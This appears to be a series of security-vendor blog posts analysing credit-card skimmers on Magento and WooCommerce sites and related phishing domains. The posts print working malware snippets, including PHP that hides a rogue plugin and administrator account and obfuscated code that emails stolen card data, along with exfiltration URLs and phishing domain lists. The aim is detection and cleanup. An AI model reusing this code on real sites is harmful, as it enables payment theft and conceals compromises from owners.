Web Skimmer With a Domain Name Generator –...

This note is a follow up to our recent post about a web skimmer that uses a dynamic domain name generating algorithm. This week, analyst Ben Martin found another variation of the same malware. The script looks very similar.

web skimmer domain name generator

The changes here are pretty minor: it uses a “ql” domain prefix instead of “qr” and the Math.sin() function instead of Math.cos(). This new variation also uses the name of the compromised site as the script path on the generated malicious domain.

[location.host,'js'].join('.')

Otherwise, the idea is identical — the generated domain names are based on the current month and year. As seen in the original post, the domains for March through December of 2020 are already registered.

March ql202141[.]pw
April ql201243[.]pw
May ql201041[.]pw
June ql201721[.]pw
July ql202657[.]pw
August ql202989[.]pw
September ql202412[.]pw
October ql201456[.]pw
November ql201000[.]pw
December ql201463[.]pw

All of these domains were registered on March 13th, 2020 within one minute by a user with the email valentinakrudyanova@yandex.ru. Domains from the original post were registered on March 18th, 2020, indicating that this “ql” variation is a predecessor for the “qr” campaign.

A URL scan indicates that this variant has been in use since mid-March: ql202141.]pw domain.

The obfuscated scripts served by the generated domains are web skimmers similar to what we described in the previous post. In this case, they send stolen data to hxxps://mykada[.]com/js/ar/ar7938.php, a domain previously mentioned in a February post by Marco Ramilli. Back then, the malware was also found to be using exfiltration URLs like hxxps://mykada[.]com/js/ar/ar2497.php.

If you believe your Magento website has been infected, you can refer to our hacked Magento guide for step-by-step instructions on how to remove malware and harden a compromised environment.

Magento JavaScript Skimmer Targets Tarjetas de Crédito

A website owner recently contacted us regarding a payment problem on their Magento website. A suspicious payment card form was loading for customers who were trying to pay for items in their shopping cart:

suspicious payment card form

This payment card form should NOT be displayed when the Tarjeta de Credito DISCOVER radio button is selected from the purchase process. The malicious "feature" was found to be loading due to an injection using the Javascript .click() event on the onestepcheckout-place-order element. This injection allows attackers to display their form and skim payment card details as they are entered.

 injection allowing attackers to display the malicious form  and skim credit card information

To exfiltrate the skimmed payment card data, the injection continues to use Javascript to encode data and send it to the malicious domain cdn-filestore[.]com, which itself is encoded in base64 to evade detection. All of this is accomplished through a Javascript function defined in the injection under the name onestepcheckout_payment():

function defined in malicious injection

After removing the malicious injection, the skimmer form no longer shows up on the checkout page of the Magento website. Instead, it shows the correct text and behavior which informs customers that they will be redirected to the payment processor’s website after submitting their order.

redirect to payment processor

It’s imperative that Magento websites take e-commerce security seriously, as they are responsible for customer data and breaches of transaction data on their online store. Perform regular security scans to detect infections, identify malware, and pinpoint other indicators of compromise.

Skimmer Plugin Hides Itself From wp-admin

Our analyst Moe O recently discovered an interesting Javascript injection that was stealing submitted payment data from visitors on a WordPress website with a Woocommerce storefront.

The Javascript was found to be loading from a malicious plugin named wpdefault, which had been installed by the attacker. This malicious plugin contained two separate files within its directory.

./wp-content/plugins/wpdefault/wpdefault.php
./wp-content/plugins/wpdefault/test.php

The wpdefault.php file contains the Javascript used to capture submitted payment details from visitors on the infected website. It’s a rather unusual file — it appears the attacker was trying to create a “swiss army knife” payment sniffer for different payment processors (e.g Stripe, Square, Authorize.net) that are available on ecommerce platforms.

Most of wpdefault.php contains code that is commented out and therefore not run, but these comments all include similar Javascript used to capture the payment details submitted when the victim clicks on Place Order or equivalent payment button.

Once captured, the stolen data is stored in the msg and params variables so that it can be exfiltrated to the attacker through a generated XMLHttpRequest. This request is sent to a website controlled by the attacker — and in this case, looks to be a compromised third-party website (neuro-programmer[.]de) rather than an outright malicious domain.

stolen data storage and generated XMLhttprequest

Since the malicious plugin has been installed within the WordPress installation, it has access to add_action which hooks a defined function to a WordPress action.

To highlight this behavior further, let’s examine the actions and functions below.

function secret_plugin_webcusp() {
    global $wp_list_table;
    $hidearr = array('wpdefault/wpdefault.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
        unset($wp_list_table->items[$key]);
        }
    }
}
add_action('pre_current_active_plugins', 'secret_plugin_webcusp');

The malware uses the pre_current_active_plugins action alongside the secret_plugin_webcusp function to prevent WordPress from showing the plugin’s name in the Active Plugins list, making it difficult for website owners to identify that the wpdefault plugin has been installed in their environment.

It then uses the pre_user_query action with the created function yoursite_pre_user_query to hide the malicious WordPress administrator wpuser55346 from view in the /wp-admin interface.

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'wpuser55346'",$user_search->query_where);
}
add_action('pre_user_query','yoursite_pre_user_query');

A final function — rgkirjeo — is hooked with the login_footer action, which uses Javascript to capture the user_login and user_pass data from login attempts made on the /wp-admin page.

rgkirjeo function hooked with login_footer to capture login and passwords

This malicious plugin was found to be exhibiting behavior similar to this injection we covered last year. It is also related to an investigation made in 2017 which found WordPress classes being used to hide malicious users.

Credit card skimmers can be hidden within compromised environments using a variety of techniques — and methods can extend way beyond hiding them in malicious plugins. Website owners should perform regular security scans of web assets to detect skimmers and other indicators of compromise.

Magento Skimmer Found Loading from magecart[.]net

We recently came across a simple Magento credit card skimmer found on a compromised website that was loading from the malicious domain magecart[.]net.

The malicious domain was first registered on December 8th, 2019 and is likely a blatant play on the hacker groups known under the collective name MageCart. This renowned group of threat actors regularly targets online shopping carts to steal payment and personal information.

We located the malicious file at ./pub/static/frontend/Infortis/ultimo/en_US/Magento_Checkout/template/billing-address.html on the compromised Magento website.

compromised magento website credit card skimmer iframe

The skimmer loads an iframe from a single line from HTML file onto the checkout page of a compromised Magento website, offering users a legitimate-looking area to input payment purchase information.

checkout form field on compromised magento site

A form field is then used to collect the payment card details and personal information of the victim.

Once all fields have been populated with data, a click event from the form submission triggers the function pay_save to exfiltrate the unencrypted stolen information back to the malicious domain magecart[.]net.

compromised magento website credit card skimmer data exfiltration

Data exfiltration is performed using JavaScript to capture the input from the form’s interface, then collects and condenses the information to the result variable so that it can finally be sent to a PHP script on the malicious magecart[.]net domain.

Skimmers and Phishing

Recently, we shared a post about a network of domains used in a JavaScript credit card stealing malware campaign. These domains are all hosted on the same server with the IP 8.208.15.67.

In addition to the domains used by the skimmers, the server also had two sites whose domains were clearly created for phishing two Canadian banks:

rbcroyalbank[.]com.ng - Real address of the Royal Bank of Canada is rbcroyalbank.com

www1-bmo[.]com.co - Online banking for the Bank of Montreal is www1.bmo.com.

Given that the goal of malware on e-commerce sites and bank phishing is to obtain payment details and steal money, it’s quite natural to see the same bad actors participating in both types of attacks.

Moreover, as Group IB wrote in April about the previous wave of these JS skimmers, this campaign is known for using fake Magento login pages on domains mimicking the domain names of the online stores they tried to compromise. So phishing and credit card skimmers complement each other very well.

Unlike other domains, where registrant details were hidden by privacy protection services, the rbcroyalbank[.]com.ng domain had public WHOIS information.

Creation Date: 2019-06-10
...
Registrant ID: 1319589-NIRA
Registrant Name: Julio Jaime
Registrant Organization: Media Lend, LLC
Registrant Email: medialand.regru@gmail.com

Most likely, this information is [mostly] fake—but it was enough to find another batch of phishing domains.

Fake Data:
While the data says the address is in Indiana, the zip code and city provided are in New Jersey.

The email “medialand.regru@gmail.com” suggests a connection to a Russian domain name registrar reg.ru. Most likely, it’s a dedicated email address used specifically for registering new domain names.

We used DomainBigData to search if anything else was associated with that medialand.regru account and found a whole bunch of other [mostly] phishing domains registered in 2019.
Here are just some of them:

Facebook
facebook-bay[.]com  2019-03-29  reg.com
facebook-s3[.]com   2019-04-04  reg.com
facebook-s2[.]com   2019-04-04  reg.com
facebook-s1[.]com   2019-04-04  reg.com
facebook-listings[.]com 2019-03-30  reg.com
facebook-listing[.]com  2019-03-30  reg.com
facebook-itm[.]com  2019-03-30  reg.com
facebook-state[.]com    2019-03-29  reg.com
facebook-restore[.]com  2019-03-23  reg.com
restore-facebook[.]com  2019-03-23  reg.com
facebook-area[.]com     2019-03-17  reg.com
facebook-ss[.]com   2019-03-29  reg.com
recover-facebook[.]com  2019-03-23  reg.com
facebook-st[.]com   2019-03-29  reg.com
facebook-secure[.]com   2019-03-23  reg.com
static-facebook[.]com   2019-03-23  reg.com
facebook-us[.]com   2019-03-28  reg.com
facebook-s6[.]com   2019-04-20  reg.com
facebook-s5[.]com   2019-04-20  reg.com
facebook-s4[.]com   2019-04-20  reg.com

MyEtherWallet
myetherevvalliet[.]com  2019-07-21  reg.com
Bank phishing
carrefourbanque-compte[.]com    2019-06-18  reg.com
www-1royalbank[.]com    2019-05-29  reg.com
clickwebsite-rbc[.]com  2019-05-22  reg.com
tangerine-en[.]com  2019-05-07  reg.com
meine-db-account-i73983479[.]com    2019-04-08  reg.com
acc7201-statement-online[.]com  2019-04-01  reg.com
postecartaonline[.]com  2019-03-26  reg.com
client-sofinco[.]net    2019-03-01  reg.com
olb-secure[.]com    2019-02-20  reg.com
mabanquepro-bnpparibas[.]com    2019-03-17  reg.com
bmo-onlinebanking[.]com     2019-05-08  reg.com
secure-banking-updt[.]com   2019-02-22  reg.com
com-cgi-bin-3t5ufkygkl56-www-desjardins[.]com   2019-04-25  reg.com

PayPal
limited-services-paypal[.]com   2019-05-20  reg.com
restricted-users-paypai[.]com   2019-06-28  reg.com

Mobile carriers 
my3-bill[.]com  2019-04-18  reg.com
three-mybilling[.]com   2019-03-28  reg.com
threebilling[.]com  2019-03-08  reg.com
myvodafone-billing[.]com    2019-03-12  reg.com
account-billing[.]com   2019-03-15  reg.com

Apple
apple-appield[.]com     2019-04-23  reg.com
apple-restore[.]com     2019-03-28  reg.com

Many of these domains have already been detected as phishing by various security companies:


https://www.virustotal.com/gui/url/fb934dd5d574344759251678dd3c3b183f83fbe1cfb652201b155ee5c69a5476/detection

KOSONG Credit Card Stealer

Our security analyst Christopher Morrow recently discovered a server-side Magento skimmer that was injected into the savePayment function in the app/code/core/Mage/Checkout/Model/Type/Onepage.php file.

Skimmer in Onepage.php

This code emails payment details to "reachead@yandex[.]com", then sends them to a script on a remote server: "hxxps://smartxenons[.]co.uk//new/img/Opage.php".

While you can clearly see the curl request to the malicious URL, both the email address and the code responsible for sending the email are obfuscated:

$idkey = "base"."64"."_"."de"."code";
        $update = "ma"."il"";
        $encsrv = $idkey("cmVhY2hlYWRAeWFuZGV4LmNvbQ==");  
        $update($encsrv, $subject, $datasend, $ipcid);
        $update($encsrv, $subject, $xupdate, $ipcid);

Although the attackers use the Russian Yandex service to receive the emails, I suspect they are most likely from either Indonesia or Malaysia. The malware uses the words "KOSONG" as a placeholder for missing payment details. In Indonesian and Malay languages this word means "empty" or "blank".